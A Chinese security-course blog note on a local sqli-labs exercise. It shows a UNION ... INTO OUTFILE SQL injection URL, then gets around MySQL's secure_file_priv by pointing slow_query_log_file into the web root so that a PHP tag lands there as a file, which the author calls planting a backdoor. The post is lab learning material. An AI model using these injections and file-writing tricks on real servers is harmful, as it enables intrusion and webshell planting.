(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护

Posted .白菜白菜大白菜.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护相关的知识,希望对你有一定的参考价值。

文件读写注入需要考虑mysql版本问题,高版本存在secure_file_priv过滤,高版本突破,低版本直接写入
数据库如果是高版本,数据库会有防御,解决方法两种,硬钢或者绕过,
硬钢参考:https://www.cnblogs.com/c1e4r/articles/8902444.html
我是用硬刚的方法,下面是我硬钢的过程:
出现这样的问题:

在处理sqlilabs第七关,
写入url:http:\\\\127.0.0.1\\sqlilabs\\Less-7\\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt’--+
出现
在这里插入图片描述
我先分析了网站,没有任何问题(url进入php后台没有任何问题,直接进入数据库执行好像出现了问题)
在这里插入图片描述

后来我们进入mysql命令行看一下哪里出现了问题( 把url转成sql看看出现什么问题了)
注意:
新版本phpstudypro好像没有mysql命令行,找新版本命令行过程看我的这个链接:[问题②](https://blog.csdn.net/u013630181/article/details/118066915) 老版本phpstudy找mysql命令行过程:网上多的是问度娘。 好的我们进入命令行 输入命令:C:\\Users\\使用者>D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\bin\\mysql.exe mysql -u root -p`
在这里插入图片描述

password就是我们要写mysql的密码
在这里插入图片描述

展示有哪些数据库:show databases;
在这里插入图片描述

输入数据库Use security
在这里插入图片描述

现在我们把url转成数据库语言看看出现什么问题
Url:http:\\127.0.0.1\\sqlilabs\\Less-7?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’–+
相当于sql:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’–+’)) limit 0,1;(注意符号)
在这里插入图片描述

出现这样的未知问题我们先ctrl+c退出来。
在输入:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’
出现
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
在这里插入图片描述

出现这个的原因是高版本数据库有防御
---------------------------------------------分割线-----------------------------------------------------------
原因我们找到了那现在就解决吧
网上的解决方法有两种一种是关闭防护(这个第一种最好就不用,实战中受害方不会关闭数据库防护)还有一种是突破,下面我实验的就是突破的这种方法(这种突破方法执行一次用一次后期演示我会把数据库防护关闭):
参考文章:www.cnblogs.com/c1e4r/articles/8902444.html(操作的时候就是把那三句sql执行)(相当于写了一个有后门的文件放到受害者服务器中)
下面开始:
由于这里还没讲sql语句直接注入,so文献中的三句话直接在数据库语句一下吧,
Sql语句:

 set global slow_query_log=1set global slow_query_log_file='D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt'SELECT '<?php asdsd?>' or sleep(11)

效果:在D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7下创建一个名为1.txt的文本,(注意必须写\\,不然创建不了)文本内容为?php asdsd?
好的现在url可以用了:http:\\\\127.0.0.1\\sqlilabs\\Less-7\\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt’--+
效果(网站没反应,但是目录下已经出现了该文件)

以上是关于(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护的主要内容,如果未能解决你的问题,请参考以下文章

(2020上半年第9天(SQL注入-提交注入注入(SQL注入4/10)))小迪网络安全笔记

(2020上半年第2天(信息收集1/2))小迪网络安全笔记

(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护

(2020上半年第13天(SQL注入-防注入绕过(SQL注入8/10)))小迪网络安全笔记

(2020上半年第5天(漏洞发现))小迪网络安全笔记

(2020上半年第7天(SQL注入-MYSQL注入(SQL注入2/10)))小迪网络安全笔记